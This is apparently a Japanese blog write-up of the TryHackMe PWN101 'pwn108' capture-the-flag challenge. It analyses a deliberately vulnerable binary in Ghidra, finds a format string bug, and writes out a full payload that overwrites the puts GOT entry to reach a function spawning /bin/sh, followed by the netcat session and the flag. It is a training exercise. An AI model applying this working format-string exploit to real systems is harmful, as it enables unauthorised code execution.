Skip to content
Go back

TryHackMe PWN101 Writeup (8) PWN108

Edit page
目次

file

$ file ./pwn108-1644300489260.pwn108
./pwn108-1644300489260.pwn108: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=b1c32d1f20d6d8017146d21dfcfc4da79a8762d8, for GNU/Linux 3.2.0, not stripped

checksec

PIEがない

$ .venv/bin/pwn checksec pwn108-1644300489260.pwn108
[*] '/home/hat0uma/work/pwn108-1644300489260.pwn108'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

実行

生徒の受講記録みたいなやつ?

$ ./pwn108-1644300489260.pwn108
       ┌┬┐┬─┐┬ ┬┬ ┬┌─┐┌─┐┬┌─┌┬┐┌─┐
        │ ├┬┘└┬┘├─┤├─┤│  ├┴┐│││├┤
        ┴ ┴└─ ┴ ┴ ┴┴ ┴└─┘┴ ┴┴ ┴└─┘
                 pwn 108

      THM University 📚
👨‍🎓 Student login portal 👩‍🎓

=[Your name]: aaa
=[Your Reg No]: 1

=[ STUDENT PROFILE ]=
Name         : aaa
Register no  : 1
Institue     : THM
Branch       : B.E (Binary Exploitation)


                    =[ EXAM SCHEDULE ]=
 --------------------------------------------------------
|  Date     |           Exam               |    FN/AN    |
|--------------------------------------------------------
| 1/2/2022  |  PROGRAMMING IN ASSEMBLY     |     FN      |
|--------------------------------------------------------
| 3/2/2022  |  DATA STRUCTURES             |     FN      |
|--------------------------------------------------------
| 3/2/2022  |  RETURN ORIENTED PROGRAMMING |     AN      |
|--------------------------------------------------------
| 7/2/2022  |  SCRIPTING WITH PYTHON       |     FN      |
 --------------------------------------------------------

Ghidra

void main(void)
{
  long in_FS_OFFSET;
  undefined1 local_98 [32];
  char local_78 [104];
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  setup();
  banner();
  puts(&DAT_00402177);
  puts(&DAT_00402198);
  printf("\n=[Your name]: ");
  read(0,local_98,0x12);
  printf("=[Your Reg No]: ");
  read(0,local_78,100);
  puts("\n=[ STUDENT PROFILE ]=");
  printf("Name         : %s",local_98);
  printf("Register no  : ");
  printf(local_78);
  printf("Institue     : THM");
  puts("\nBranch       : B.E (Binary Exploitation)\n");
  puts("\n                    =[ EXAM SCHEDULE ]=                  \n ------------------------------- -------------------------\n|  Date     |           Exam               |    FN/AN    |\n|------ --------------------------------------------------\n| 1/2/2022  |  PROGRAMMING IN ASSEMBLY     |     FN      |\n|--------------------------------------------------------\n| 3/2/2022  |  DA TA STRUCTURES             |     FN      |\n|-------------------------------------------------- ------\n| 3/2/2022  |  RETURN ORIENTED PROGRAMMING |     AN      |\n|------------------------- -------------------------------\n| 7/2/2022  |  SCRIPTING WITH PYTHON       |     FN      |\n --------------------------------------------------------");
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

void holidays(void)

{
  long in_FS_OFFSET;
  undefined4 local_16;
  undefined2 local_12;
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_16 = 0x6d617865;
  local_12 = 0x73;
  printf(&DAT_00402120,&local_16);
  system("/bin/sh");
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

solver

方針

local_78(Reg No)がprintf(local_78)でそのままフォーマット文字列として渡されているので、FSB(Format String Bug)がある。 目標はholidays関数(system("/bin/sh")を呼ぶ)に制御を移すこと。

また、

より、GOT overwriteでputsのGOTエントリをholidaysに書き換えるようにする。 printf(local_78)の後にprintf("Institue ...")puts(...)と呼ばれるので、putsのGOTを書き換えれば直後にシェルが起動する。

GhidraのSymbol Tree→Labels→_GLOBAL_OFFSET_TABLE_からputs@GOT = 0x404018を確認。

スタックレイアウトと引数位置の計算

printf の引数番号スタック上の位置
1〜5レジスタ (rsi, rdx, rcx, r8, r9)
6RSP+0x00 ← local_98 の先頭
7RSP+0x08
8RSP+0x10
9RSP+0x18 ← local_98 の末尾
10RSP+0x20 ← local_78 の先頭 (= FSBペイロードの先頭)
11RSP+0x28
12RSP+0x30 ← ペイロード先頭+16バイト目

local_98 は32バイト(引数6〜9)、local_78 はその直後から始まる(引数10〜)。

ペイロード先頭に %4198971c%12$lln(16バイト)を置くと、その直後(引数12の位置)に puts@GOT のアドレスを配置できる。

ペイロード

$ echo -ne "" > input.bin
$ printf "%018d" 0 >> input.bin
$ echo -ne "%4198971c%12\$lln\x18\x40\x40\x00\x00\x00\x00\x00\n" >> input.bin
$ hexdump -C input.bin
00000000  30 30 30 30 30 30 30 30  30 30 30 30 30 30 30 30  |0000000000000000|
00000010  30 30 25 34 31 39 38 39  37 31 63 25 31 32 24 6c  |00%4198971c%12$l|
00000020  6c 6e 18 40 40 00 00 00  00 00 0a                 |ln.@@......|
0000002b

ペイロードの構造:

オフセット内容役割
0x00〜0x11000000000000000000 (18バイト)1回目のreadを埋める
0x12〜0x1b%4198971c4198971文字分の出力を生成(= holidaysのアドレス 0x40123b
0x1c〜0x21%12$lln引数12番目が指すアドレスに、ここまでの出力文字数を8バイト書き込み
0x22〜0x29\x18\x40\x40\x00\x00\x00\x00\x00puts@GOT = 0x404018(引数12番目の位置に配置される)

%4198971c で出力文字数が 4198971 になり、%12$lln がその値を引数12番目のアドレス(= 0x404018 = puts@GOT)に書き込む。 結果、次に puts が呼ばれると holidays (0x40123b) にジャンプする。

実行

$ cat input.bin - | nc 10.146.179.24 9008
  (中略)
                                                             -1426813152@@Institue     : THM
No more exams for you enjoy your holidays 🎉
And here is a small gift for you
ls
flag.txt
pwn108
pwn108.c
cat flag.txt
THM{7urN3d_puts_in70_win}
^C

Edit page
Share this post on:

Previous Post
TryHackMe PWN101 Writeup (9) PWN109
Next Post
TryHackMe PWN101 Writeup (7) PWN107